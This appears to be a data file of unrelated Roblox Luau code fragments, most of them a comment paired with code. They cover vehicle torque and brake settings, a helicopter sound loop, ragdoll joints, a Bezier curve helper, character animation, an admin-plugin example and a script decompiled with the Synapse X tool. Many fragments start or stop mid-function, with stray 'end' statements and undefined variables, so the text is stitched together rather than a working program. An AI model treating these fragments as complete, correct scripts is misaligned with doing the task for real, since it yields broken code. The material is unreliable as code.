RR.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*((torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*rt)*ovo+xt)*2
end
end
if script.Parent.Storage.EngineType.Value == "Electric" then
FL.MotorMaxTorque = b*(((((rpm.Value * (-0.04*((xans/1.4)/900)))+2000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)*tL*xi
FR.MotorMaxTorque = b*(((((rpm.Value * (-0.04*((xans/1.4)/900)))+2000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)*tL*xi
RL.MotorMaxTorque = b*(((((rpm.Value * (-0.04*((xans/1.4)/900)))+2000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)*tL*xi
RR.MotorMaxTorque = b*(((((rpm.Value * (-0.04*((xans/1.4)/900)))+2000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)*tL*xi
FL.AngularVelocity = 2500*direction*park
FR.AngularVelocity = 2500*direction*park
RL.AngularVelocity = 2500*direction*park
RR.AngularVelocity = 2500*direction*park
end
else
if carSeat.Throttle ~= -1 and carSeat.Storage.Handbrake.Value ~= true then
--guava = (redline.Value/1000)-(rpm.Value/1000)
FL.MotorMaxTorque = 200 * (displacement.Value/2000)*clutch.Clutch.Value*(1-script.Parent.Storage.Brake.Value)*(1-(torquesplit.Value/100))
FR.MotorMaxTorque = 200 * (displacement.Value/2000)*clutch.Clutch.Value*(1-script.Parent.Storage.Brake.Value)*(1-(torquesplit.Value/100))
RL.MotorMaxTorque = 200 * (displacement.Value/2000)*clutch.Clutch.Value*(1-script.Parent.Storage.Brake.Value)*((torquesplit.Value/100))
RR.MotorMaxTorque = 200 * (displacement.Value/2000)*clutch.Clutch.Value*(1-script.Parent.Storage.Brake.Value)*((torquesplit.Value/100))
FL.AngularVelocity = coast/four ------------^MULTIPLY THIS BY THE INVESE OF THE RPM [SCALE]^^^^^^^^^
FR.AngularVelocity = coast/four --------< MULTIPLY THIS BY GEAR (THE VALUE SHOULD BE UP THERE SOMEWHERE^^^)
RL.AngularVelocity = coast/four
RR.AngularVelocity = coast/four else end
if script.Parent.Storage.EngineType.Value ~= "Electric" then
FL.MotorMaxAcceleration = 150
FR.MotorMaxAcceleration = 150
RL.MotorMaxAcceleration = 150
RR.MotorMaxAcceleration = 150
end
end end end
end
elseif currentgear.Value == 1 or carSeat.Throttle == -1 or script.Parent.Functions.Engine.Value == false then
carSeat.Parent.Transmission.Reverse.Pitch = 0
carSeat.Parent.Differential.Idle.Pitch = 0
carSeat.Parent.Differential.Engine.Pitch = 0
carSeat.Parent.Engine.Intake.Pitch = 0
--carSeat.Parent.Engine.Blowoff.Pitch = 0
if rpm.Value > 0 then
rpm.Value = rpm.Value - decay.Value
else
rpm.Value = 0
end
end
end
|
-- CONSTANTS
|
local CONSTANTS = require(script.Parent:WaitForChild("CONSTANTS"))
local Triangle = require(script.Parent:WaitForChild("Triangle"))
local PI2 = math.pi/2
local TAU = CONSTANTS.TAU
local GAP = CONSTANTS.GAP
local PART_PER_UNIT = CONSTANTS.PART_PER_UNIT
local CENTER = CONSTANTS.CENTER
local EXTERIOR_RADIUS = CONSTANTS.EXTERIOR_RADIUS
local EX_OFFSET = CONSTANTS.EX_OFFSET
local G_OFFSET = CONSTANTS.G_OFFSET
local VPF = Instance.new("ViewportFrame")
VPF.Ambient = Color3.new(1, 1, 1)
VPF.LightColor = Color3.new(1, 1, 1)
VPF.LightDirection = Vector3.new(0, 0, -1)
VPF.BackgroundTransparency = 1
VPF.Size = UDim2.new(1, 0, 1, 0)
local CAMERA = Instance.new("Camera")
CAMERA.CameraType = Enum.CameraType.Scriptable
CAMERA.CFrame = CFrame.new()
CAMERA.FieldOfView = CONSTANTS.FOV
|
-- print(obj.Name)
|
if (obj:IsA("Folder")) then
|
--!strict
|
local LocalPlayer: Player = game:GetService("Players").LocalPlayer
local RunService = game:GetService("RunService")
local fmt = string.format
local OPT_AXIS_ATTRIBUTE = "Axis"
local OPT_AXIS = "Z"
local OPT_DEGREES_ATTRIBUTE = "Degrees"
local OPT_DEGREES = 1
local OPT_MIN_DISTANCE_ATTRIBUTE = "MinDistance"
local OPT_MIN_DISTANCE = 48
local ERR_NOT_MODEL = "Rotate expects a Model, but got %q (%s)"
local Obstacle = {}
Obstacle.__index = Obstacle
function Obstacle.new(model: Model)
assert(model:IsA("Model"), fmt(ERR_NOT_MODEL, model:GetFullName(), model.ClassName))
local self = setmetatable({}, Obstacle)
self._events = {}
self._model = model
self._distance = model:GetAttribute(OPT_MIN_DISTANCE_ATTRIBUTE) or
math.max(model:GetModelSize().Magnitude * 2, OPT_MIN_DISTANCE)
self._axis = model:GetAttribute(OPT_AXIS_ATTRIBUTE) or OPT_AXIS
self._degrees = model:GetAttribute(OPT_DEGREES_ATTRIBUTE) or OPT_DEGREES
-- TODO: Defer render to global handler
table.insert(self._events, RunService.RenderStepped:Connect(function()
self:RenderUpdate()
end))
return self
end
function Obstacle:IsLocalPlayerNearby(): boolean
if self._distance == 0 then
return true
end
local distance = LocalPlayer:DistanceFromCharacter(self._model:GetPrimaryPartCFrame().Position)
return distance < self._distance
end
function Obstacle:GetRotationCFrame(): CFrame
local degrees = math.rad(self._degrees)
if self._axis == "X" then
return CFrame.Angles(degrees, 0, 0)
elseif self._axis == "Y" then
return CFrame.Angles(0, degrees, 0)
end
return CFrame.Angles(0, 0, degrees)
end
function Obstacle:RenderUpdate()
if not self:IsLocalPlayerNearby() then
return
end
local cframe = self._model:GetPrimaryPartCFrame()
local angles = self:GetRotationCFrame()
self._model:SetPrimaryPartCFrame(cframe * angles)
end
function Obstacle:Destroy()
for _, event: RBXScriptConnection in ipairs(self._events) do
event:Disconnect()
end
end
return Obstacle
|
-- Also set this to true if you want the thumbstick to not affect throttle, only triggers when a gamepad is conected
|
local onlyTriggersForThrottle = false
local ZERO_VECTOR3 = Vector3.new(0,0,0)
local betterHandlingInputStatesFlagExists, betterHandlingInputStatesFlagEnabled = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserBetterHandlingVehicleInputStates")
end)
local FFlagBetterHandlingVehicleInputStates = betterHandlingInputStatesFlagExists and betterHandlingInputStatesFlagEnabled
local AUTO_PILOT_DEFAULT_MAX_STEERING_ANGLE = 35
|
----------------------
---define variables---
----------------------
|
local pathfinding=game:GetService("PathfindingService");--the service used to compute paths
local AI=script.Parent;--the AI
local humanoid=AI:WaitForChild("Humanoid");--the Humanoid object
local torso=AI:WaitForChild("Torso");--the Torso object
|
---------------------------------------------------------------------------------------
|
local popupsAreOpen = script.Parent.Parent.PopupsAreOpen
local clickedPlayButton = script.ClickedPlayButton
local characterDied = game.ReplicatedStorage.CharacterDied
local configuration = script.Parent.Parent.Settings
local spawnItems = game.Workspace.SpawnItems
local Sounds = script.Sounds
|
--Airflow = script.Parent.Parent.ChopperNB
|
ChopperNB = script.Parent.Parent.ChopperNB
MuteNB = ChopperNB.Mute
LoadWeight = script.LoadWeight
MVal = script.MuteVal
RotorMotor = script.Parent.Parent.Parent.Motor.Motor.HingeConstraint
LoadWeight.Value = LoadWeight.NoBlowerW.Value
script.Parent.BlowerOn.Changed:Connect(function()
if script.Parent.BlowerOn.Value == false then
--Airflow.HighAir.Disabled = true
--Airflow.LowAir.Disabled = false
local ts = game:GetService("TweenService")
local t = ts:Create(script.Parent,TweenInfo.new(5),{Volume = 0})
local t3 = ts:Create(MVal,TweenInfo.new(4.4),{Value = 0})
local t2 = ts:Create(script.Parent.SoundComponents.NonAdjustable.BlowerOffsetPitch,TweenInfo.new(1),{Value = 0.1})
local t4 = ts:Create(LoadWeight,TweenInfo.new(3),{Value = LoadWeight.NoBlowerW.Value})
--print("o1")
t:Play()
t2:Play()
t3:Play()
t4:Play()
else
--Airflow.HighAir.Disabled = false
--Airflow.LowAir.Disabled = true
local ts = game:GetService("TweenService")
local t = ts:Create(script.Parent,TweenInfo.new(.85),{Volume = 4.5})
local t3 = ts:Create(MVal,TweenInfo.new(5),{Value = -80})
local t2 = ts:Create(script.Parent.SoundComponents.NonAdjustable.BlowerOffsetPitch,TweenInfo.new(2),{Value = 0})
local t4 = ts:Create(LoadWeight,TweenInfo.new(.85),{Value = LoadWeight.BlowerW.Value})
--print("o2")
t:Play()
t2:Play()
t3:Play()
t4:Play()
end
end)
function getChopperLevelPitch(pitch)
return 0
--math.clamp((pitch-0.1)/script.Parent,0,1)
end
script.Parent.PlaybackSpeed = 0
CompletelyStopped = true
script.Parent.On.Changed:Connect(function()
if CompletelyStopped == true and script.Parent.On.Value == true then
repeat game:GetService("RunService").Heartbeat:wait()
CompletelyStopped = false
script.Stopped.Value = false
RotorMotor.AngularVelocity = script.Parent.PlaybackSpeed/0.00335
ChopperNB.PlaybackSpeed = script.Parent.PlaybackSpeed --/0.6801
ChopperNB.Volume = script.Parent.PlaybackSpeed/.9
MuteNB.HighGain = MVal.Value
MuteNB.LowGain = MuteNB.HighGain
MuteNB.MidGain = MuteNB.HighGain
script.Parent.RollOffMaxDistance = script.RollOffMax.Value *script.Parent.Volume --7000
script.Parent.RollOffMinDistance = script.RollOffMin.Value *script.Parent.Volume --7000
if script.Parent.On.Value == true and script.Parent.PlaybackSpeed < script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value+BlowerAddress.BeltSet.Sound.Pitch/7 then
if script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value < 1 then
if script.Parent.SoundComponents.NonAdjustable.NormalSound.Value < math.abs(script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value-1) then
script.Parent.SoundComponents.NonAdjustable.NormalSound.Value = math.abs(script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value-1)
end
end
local clampval = math.clamp(math.ceil(script.Parent.SoundComponents.NonAdjustable.NormalSound.Value),0,1)
local pitch = script.Parent.SoundComponents.NonAdjustable.NormalSound.Value
local formula = math.clamp(math.log(pitch+0.001,0.65)/320,0.00007,0.02)--pitch+0.001,0.75)/320,0.00007,0.02
--print(script.Parent.PlaybackSpeed)
--print(script.Parent.SoundComponents.NonAdjustable.NormalSound.Value)
script.Parent.SoundComponents.NonAdjustable.NormalSound.Value = math.clamp(script.Parent.SoundComponents.NonAdjustable.NormalSound.Value + formula,0,2)
script.Parent.PlaybackSpeed = (script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value+(script.Parent.SoundComponents.NonAdjustable.NormalSound.Value+((BlowerAddress.BeltSet.Sound.Pitch/7)*clampval)))-1
elseif script.Parent.On.Value == false and script.Parent.PlaybackSpeed > 0 then
if script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value < 1 then
if script.Parent.SoundComponents.NonAdjustable.NormalSound.Value < math.abs(script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value-1) then
script.Parent.SoundComponents.NonAdjustable.NormalSound.Value = 0
end
end
local pitch = script.Parent.SoundComponents.NonAdjustable.NormalSound.Value
--local formula = math.clamp(math.log(math.abs(pitch-1)+0.0001,0.06)/300,0.0004,0.07)
local formula = math.clamp(math.log(math.abs(pitch-1)+0.0001,0.05)/LoadWeight.Value,0.0004,0.02)
local clampval = math.clamp(math.ceil(script.Parent.SoundComponents.NonAdjustable.NormalSound.Value),0,1)
--print(formula)
script.Parent.SoundComponents.NonAdjustable.NormalSound.Value = math.clamp(script.Parent.SoundComponents.NonAdjustable.NormalSound.Value - formula,0,2)
--+(script.Parent.Shift.Octave*math.clamp(0,1,math.ceil(math.abs(formula))))
script.Parent.PlaybackSpeed = ((script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value+(script.Parent.SoundComponents.NonAdjustable.NormalSound.Value+((BlowerAddress.BeltSet.Sound.Pitch/7)*clampval))-1)*clampval)
else
local clampval = math.clamp(math.ceil(script.Parent.SoundComponents.NonAdjustable.NormalSound.Value),0,1)
script.Parent.PlaybackSpeed = ((script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value+(script.Parent.SoundComponents.NonAdjustable.NormalSound.Value+((BlowerAddress.BeltSet.Sound.Pitch/7)*clampval))-1)*clampval)
end
--[[ if script.Parent.On.Value == true then
--((math.clamp((incerment+0.001)-script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value/2,0,1) * 30))
if script.Parent.PlaybackSpeed >= script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value then
else
--math.abs((((script.Parent.SoundComponents.NonAdjustable.ChopperLevelCurrent.Value-4)/20)+1
formula = (script.Parent.SoundComponents.NonAdjustable.StaticVoltage.Value*(1))/(70000*math.sqrt((script.Parent.SoundComponents.NonAdjustable.LoadWeight.Value*((script.Parent.PlaybackSpeed+0.0001)/(script.Parent.SoundComponents.Configuration.ChopperLevel.Value-(script.Parent.PlaybackSpeed*(5-(math.abs(script.Parent.SoundComponents.Configuration.ChopperLevel.Value-4.6)))))))))
--formula = (((script.Parent.SoundComponents.NonAdjustable.StaticVoltage.Value+script.Parent.SoundComponents.NonAdjustable.ChopperLevelCurrent.Value)/(incerment+0.01))*script.Parent.SoundComponents.NonAdjustable.Horsepower.Value)/(80000*math.sqrt((script.Parent.SoundComponents.NonAdjustable.LoadWeight.Value)*(script.Parent.SoundComponents.NonAdjustable.Horsepower.Value)))
end
else
if script.Parent.PlaybackSpeed <= 0 then
else
formula = (incerment+0.001)/(((500/(incerment+0.001))+math.sqrt(script.Parent.SoundComponents.NonAdjustable.LoadWeight.Value)))
end
end
--print(formula)
--+math.sqrt(script.Parent.SoundComponents.NonAdjustable.LoadWeight.Value)
--print((incerment+0.001)/(((500/(incerment+0.001))+math.sqrt(script.Parent.SoundComponents.NonAdjustable.LoadWeight.Value))))
if script.Parent.On.Value == true then
if script.Parent.PlaybackSpeed >= script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value+script.Parent.SoundComponents.NonAdjustable.BlowerOffsetPitch.Value then
if script.Parent.PlaybackSpeed >= script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value then
if script.Parent.PlaybackSpeed <= script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value then
else
script.Parent.PlaybackSpeed = math.clamp(script.Parent.PlaybackSpeed - math.clamp(formula,0.000005,0.001),0,script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value+script.Parent.SoundComponents.NonAdjustable.BlowerOffsetPitch.Value)
end
end
else
script.Parent.PlaybackSpeed = math.clamp(script.Parent.PlaybackSpeed + formula,0,script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value+script.Parent.SoundComponents.NonAdjustable.BlowerOffsetPitch.Value)
end
else
if script.Parent.PlaybackSpeed <= 0 then
else
script.Parent.PlaybackSpeed = math.clamp(script.Parent.PlaybackSpeed - math.clamp(formula,0.000005,0.001),0,script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value+script.Parent.SoundComponents.NonAdjustable.BlowerOffsetPitch.Value)
end
end
--]]
until script.Parent.SoundComponents.NonAdjustable.NormalSound.Value <= 0
CompletelyStopped = true
RotorMotor.AngularVelocity = 0
script.Parent.PlaybackSpeed = 0
ChopperNB.PlaybackSpeed = 0
if BlowerAddress.Components.BlowerOn.Value == false then
script.Parent.Volume = 0
end
script.Stopped.Value = true
end
end)
script.Parent.BlowerOn.Changed:Connect(function()
if script.Parent.BlowerOn.Value == false and CompletelyStopped == true then
script.Parent.Volume = 0
end
end)
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local on = 0
script:WaitForChild("Rev")
if not FE then
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
for i,v in pairs(script:GetChildren()) do
v.Parent=car.DriveSeat
end
car.DriveSeat.Rev:Play()
while wait() do
local _RPM = script.Parent.Values.RPM.Value
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
car.DriveSeat.Rev.Pitch = (car.DriveSeat.Rev.SetPitch.Value + car.DriveSeat.Rev.SetRev.Value*_RPM/_Tune.Redline)*on^2
end
else
local handler = car.CarSound
handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true)
handler:FireServer("playSound","Rev")
local pitch=0
while wait() do
local _RPM = script.Parent.Values.RPM.Value
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
pitch = (script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline)*on^2
handler:FireServer("updateSound","Rev",script.Rev.SoundId,pitch,script.Rev.Volume)
end
end
|
--character:WaitForChild("Humanoid").Died:connect(function()
|
local camera = workspace.CurrentCamera
if camera.CameraSubject == character.Humanoid then--If developer isn't controlling camera
camera.CameraSubject = character.UpperTorso
end
--Make it so ragdoll can't collide with invisible HRP, but don't let HRP fall through map and be destroyed in process
character.HumanoidRootPart.Anchored = true
character.HumanoidRootPart.CanCollide = false
--Helps to fix constraint spasms
recurse(character, function(_,v)
if v:IsA("Attachment") then
v.Axis = Vector3.new(0, 1, 0)
v.SecondaryAxis = Vector3.new(0, 0, 1)
v.Rotation = Vector3.new(0, 0, 0)
end
end)
--Re-attach hats
for _,child in next,character:GetChildren() do
if child:IsA("Accoutrement") then
--Loop through all parts instead of only checking for one to be forwards-compatible in the event
--ROBLOX implements multi-part accessories
for _,part in next,child:GetChildren() do
if part:IsA("BasePart") then
local attachment1 = part:FindFirstChildOfClass("Attachment")
local attachment0 = getAttachment0(attachment1.Name)
if attachment0 and attachment1 then
--Shouldn't use constraints for this, but have to because of a ROBLOX idiosyncrasy where
--joints connecting a character are perpetually deleted while the character is dead
local constraint = Instance.new("HingeConstraint")
constraint.Attachment0 = attachment0
constraint.Attachment1 = attachment1
constraint.LimitsEnabled = true
constraint.UpperAngle = 0 --Simulate weld by making it difficult for constraint to move
constraint.LowerAngle = 0
constraint.Parent = character
end
end
end
end
end
ragdollJoint(character.LowerTorso, character.UpperTorso, "Waist", "BallSocket", {
{"LimitsEnabled",true};
{"UpperAngle",5};
})
--[[ragdollJoint(character.UpperTorso, character.Head, "Neck", "BallSocket", {
{"LimitsEnabled",true};
{"UpperAngle",15};
})]]
local handProperties = {
{"LimitsEnabled", true};
{"UpperAngle",0};
{"LowerAngle",0};
}
ragdollJoint(character.LeftLowerArm, character.LeftHand, "LeftWrist", "Hinge", handProperties)
ragdollJoint(character.RightLowerArm, character.RightHand, "RightWrist", "Hinge", handProperties)
local shinProperties = {
{"LimitsEnabled", true};
{"UpperAngle", 0};
{"LowerAngle", -75};
}
ragdollJoint(character.LeftUpperLeg, character.LeftLowerLeg, "LeftKnee", "Hinge", shinProperties)
ragdollJoint(character.RightUpperLeg, character.RightLowerLeg, "RightKnee", "Hinge", shinProperties)
local footProperties = {
{"LimitsEnabled", true};
{"UpperAngle", 15};
{"LowerAngle", -45};
}
ragdollJoint(character.LeftLowerLeg, character.LeftFoot, "LeftAnkle", "Hinge", footProperties)
ragdollJoint(character.RightLowerLeg, character.RightFoot, "RightAnkle", "Hinge", footProperties)
--TODO fix ability for socket to turn backwards whenn ConeConstraints are shipped
ragdollJoint(character.UpperTorso, character.LeftUpperArm, "LeftShoulder", "BallSocket")
ragdollJoint(character.LeftUpperArm, character.LeftLowerArm, "LeftElbow", "BallSocket")
ragdollJoint(character.UpperTorso, character.RightUpperArm, "RightShoulder", "BallSocket")
ragdollJoint(character.RightUpperArm, character.RightLowerArm, "RightElbow", "BallSocket")
ragdollJoint(character.LowerTorso, character.LeftUpperLeg, "LeftHip", "BallSocket")
ragdollJoint(character.LowerTorso, character.RightUpperLeg, "RightHip", "BallSocket")
|
-- O(n!)
|
local function createCurve(t, points)
if SETTINGS.Debug == true then
for _, point in points do
newInstance("Part", {
Position = point,
Anchored = true,
CanCollide = false,
Size = Vector3.one,
Color = Color3.fromRGB(0,255,0),
Transparency = .5,
Parent = workspace.Debris
})
end
end
-- could use recursion, but lua doesn't have optimized tail calls.
while #points > 1 do
local tempPoints = points
points = {}
for i = 1, #tempPoints - 1 do
local p1 = tempPoints[i]
local p2 = tempPoints[i + 1]
table.insert(points, lerp(p1, p2, t))
end
end
if SETTINGS.Debug == true then
newInstance("Part", {
Position = points[1],
Anchored = true,
CanCollide = false,
Size = Vector3.one,
Color = Color3.fromRGB(255,0,0),
Transparency = .5,
Parent = workspace.Debris
})
end
-- points[1] will contain the correct position at time 't'
return points[1]
end
return createCurve
|
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
|
local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
math.randomseed(tick())
function configureAnimationSet(name, fileList)
if (animTable[name] ~= nil) then
for _, connection in pairs(animTable[name].connections) do
connection:disconnect()
end
end
animTable[name] = {}
animTable[name].count = 0
animTable[name].totalWeight = 0
animTable[name].connections = {}
local allowCustomAnimations = true
local AllowDisableCustomAnimsUserFlag = false
local success, msg = pcall(function()
AllowDisableCustomAnimsUserFlag = UserSettings():IsUserFeatureEnabled("UserAllowDisableCustomAnims2")
end)
if (AllowDisableCustomAnimsUserFlag) then
allowCustomAnimations = game:GetService("StarterPlayer").AllowCustomAnimations
end
-- check for config values
local config = script:FindFirstChild(name)
if (allowCustomAnimations and config ~= nil) then
table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
local idx = 1
for _, childPart in pairs(config:GetChildren()) do
if (childPart:IsA("Animation")) then
table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
animTable[name][idx] = {}
animTable[name][idx].anim = childPart
local weightObject = childPart:FindFirstChild("Weight")
if (weightObject == nil) then
animTable[name][idx].weight = 1
else
animTable[name][idx].weight = weightObject.Value
end
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
idx = idx + 1
end
end
end
-- fallback to defaults
if (animTable[name].count <= 0) then
for idx, anim in pairs(fileList) do
animTable[name][idx] = {}
animTable[name][idx].anim = Instance.new("Animation")
animTable[name][idx].anim.Name = name
animTable[name][idx].anim.AnimationId = anim.id
animTable[name][idx].weight = anim.weight
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
|
-- @Return RecoilSimulator
|
function WeaponRuntimeData:GetRecoilSimulator()
return self.recoilSimulator
end
|
-- assume we are in the character, let's check
|
function sepuku()
script.Parent = nil
end
local h = script.Parent:FindFirstChild("Humanoid")
if (h == nil) then sepuku() end
local oldSpeed = h.WalkSpeed
h.WalkSpeed = 47
local torso = script.Parent:FindFirstChild("HumanoidRootPart")
if (torso == nil) then sepuku() end
local head = script.Parent:FindFirstChild("Head")
if (head == nil) then head = torso end
local s = Instance.new("Sparkles")
s.Color = Color3.new(.8, 0, .8)
s.Parent = torso
wait(7)
h.WalkSpeed = oldSpeed
s:Remove()
script.Parent = nil
|
--Torque Converter:
|
Tune.TQLock = false -- Torque converter starts locking at a certain RPM (see below if set to true)
|
--[[Brakes]]
|
Tune.ABSEnabled = true -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 30000 -- Front brake force
Tune.RBrakeForce = 30000 -- Rear brake force
Tune.PBrakeForce = 30000 -- Handbrake force
Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
|
-- Will apply a body part given the r15Folder and the r6Folder for that body part.
|
local function applyBodyPart(character, r15Folder, r6Folder)
local humanoid = character:FindFirstChild("Humanoid")
if humanoid.RigType == Enum.HumanoidRigType.R15 then
for _, part in pairs(r15Folder:GetChildren()) do
local oldPart = character:FindFirstChild(part.Name)
if (oldPart) then
part:Clone().Parent = character
oldPart.Name = ""
oldPart:Destroy()
end
end
-- Rebuild the rig
-- Note: if applying many body parts at once it is more efficient to call this after applying them all
buildRigFromAttachments(nil, character.HumanoidRootPart)
else
for _, characterMesh in pairs(r6Folder:GetChildren()) do
local oldCharacterMesh = getOldCharacterMesh(character, characterMesh)
if oldCharacterMesh then
oldCharacterMesh:Destroy()
end
characterMesh.Parent = character
end
end
end
local AssetService = game:GetService("AssetService")
local InsertService = game:GetService("InsertService")
function DressCharacter(character, packageId, allowTools)
local PackageIds = AssetService:GetAssetIdsForPackage(packageId)
local Humanoid = character:FindFirstChild("Humanoid")
allowTools = (allowTools or false)
for _,AssetId in pairs(PackageIds) do
local Insert = InsertService:LoadAsset(AssetId)
for _,Object in pairs(Insert:GetChildren()) do
if (Object:IsA("Folder") and Object.Name == "R15") then
applyBodyPart(character, Object, nil)
elseif (Object:IsA("Tool") and allowTools) then
Humanoid:EquipTool(Object)
elseif (Object:IsA("Accessory") or Object:IsA("Hat")) then
Humanoid:AddAccessory(Object)
end
end
Insert:Destroy()
end
return true
end
return DressCharacter
|
--[[
SERVER PLUGINS' NAMES MUST START WITH "Server: "
CLIENT PLUGINS' NAMES MUST START WITH "Client: "
Plugins have full access to the server/client tables and most variables.
You can use the MakePluginEvent to use the script instead of setting up an event.
PlayerChatted will get chats from the custom chat and nil players.
PlayerJoined will fire after the player finishes initial loading
CharacterAdded will also fire after the player is loaded, it does not use the CharacterAdded event.
service.HookEvent('PlayerChatted',function(msg,plr)
print(msg..' from '..plr.Name..' Example Plugin')
end)
service.HookEvent('PlayerJoined',function(p)
print(p.Name..' Joined! Example Plugin')
end)
service.HookEvent('CharacterAdded',function(plr)
server.RunCommand('name',plr.Name,'BobTest Example Plugin')
end)
--]]
|
server = nil -- Mutes warnings about unknown globals
service = nil
return function()
server.Commands.ExampleCommand = {
Prefix = server.Settings.Prefix; -- Prefix to use for command
Commands = {"example"}; -- Commands
Args = {"arg1"}; -- Command arguments
Description = "Example command"; -- Command Description
Hidden = true; -- Is it hidden from the command list?
Fun = false; -- Is it fun?
AdminLevel = "Players"; -- Admin level; If using settings.CustomRanks set this to the custom rank name (eg. "Baristas")
Function = function(plr,args) -- Function to run for command
print("HELLO WORLD FROM AN EXAMPLE COMMAND :)")
print("Player supplied args[1] "..tostring(args[1]))
end
}
end
|
-- Replace the humanoid with an animationcontroller
|
local humanoid = npcModel:FindFirstChildOfClass("Humanoid")
humanoid:Destroy()
local animationController = Instance.new("AnimationController")
animationController.Parent = npcModel
|
--[=[
@class BounceTemplateUtils
@private
]=]
|
local BounceTemplate = script.Parent.BounceTemplate
local CREATE_ONLY_LINK = false
local BounceTemplateUtils = {}
function BounceTemplateUtils.isBounceTemplate(instance)
return instance:GetAttribute("IsBounceTemplate", true) == true
end
function BounceTemplateUtils.getTarget(instance)
if not BounceTemplateUtils.isBounceTemplate(instance) then
return nil
end
if instance:IsA("ObjectValue") then
return instance.Value
else
local found = instance:FindFirstChild("BounceTarget")
if found then
return found.Value
else
warn("[BounceTemplateUtils.getTarget] - Bounce template without BounceTarget")
return nil
end
end
end
function BounceTemplateUtils.create(target, linkName)
assert(typeof(target) == "Instance", "Bad target")
assert(type(linkName) == "string", "Bad linkName")
if CREATE_ONLY_LINK then
return BounceTemplateUtils.createLink(target, linkName)
end
local copy = BounceTemplate:Clone()
copy:SetAttribute("IsBounceTemplate", true)
copy.Name = linkName
local objectValue = Instance.new("ObjectValue")
objectValue.Name = "BounceTarget"
objectValue.Value = target
objectValue.Parent = copy
return copy
end
function BounceTemplateUtils.createLink(target, linkName)
assert(typeof(target) == "Instance", "Bad target")
assert(type(linkName) == "string", "Bad linkName")
local objectValue = Instance.new("ObjectValue")
objectValue.Name = linkName
objectValue.Value = target
objectValue:SetAttribute("IsBounceTemplate", true)
return objectValue
end
return BounceTemplateUtils
|
--FR
|
fSprings[2].Thickness = Settings[1]
fSprings[2].MaxLength = Settings[2]
fSprings[2].MinLength = Settings[3]
fSprings[2].Damping = Settings[4]
fSprings[2].FreeLength = Settings[5]
fSprings[2].LimitsEnabled = Settings[6]
fSprings[2].MaxForce = Settings[7]
fSprings[2].Stiffness = Settings[8]
|
-- Call the module on the SlotsFolder
|
EquippedVal = require(script.InvSystem)(SlotsFolder)
|
--[=[
@within Ser
@prop Classes table
A dictionary of classes along with a Serialize and Deserialize function.
For instance, the default class added is the Option class, which looks
like the following:
```lua
Ser.Classes.Option = {
Serialize = function(opt) return opt:Serialize() end;
Deserialize = Option.Deserialize;
}
```
Add to this table in order to extend what classes are automatically
serialized/deserialized.
The Ser library checks every object's `ClassName` field in both serialized
and deserialized data in order to map it to the correct function within
the Classes table.
]=]
|
Ser.Classes = {
Option = {
Serialize = function(opt) return opt:Serialize() end;
Deserialize = Option.Deserialize;
};
}
|
-- Decompiled with the Synapse X Luau decompiler.
|
local l__LocalPlayer__1 = game.Players.LocalPlayer;
local l__TweenService__2 = game:GetService("TweenService");
local l__TextService__3 = game:GetService("TextService");
local v4 = require(game:GetService("ReplicatedStorage"):WaitForChild("ClientModules"):WaitForChild("NumberConvert"));
local v5 = require(game:GetService("ReplicatedStorage"):WaitForChild("ClientModules"):WaitForChild("GetPlatform"));
if game:GetService("ReplicatedStorage"):WaitForChild("GameData"):WaitForChild("InGame").Value == false then
script.Parent:WaitForChild("UIPadding").PaddingRight = UDim.new(0, 72);
end;
for v6, v7 in pairs(script:WaitForChild("StatModules"):GetChildren()) do
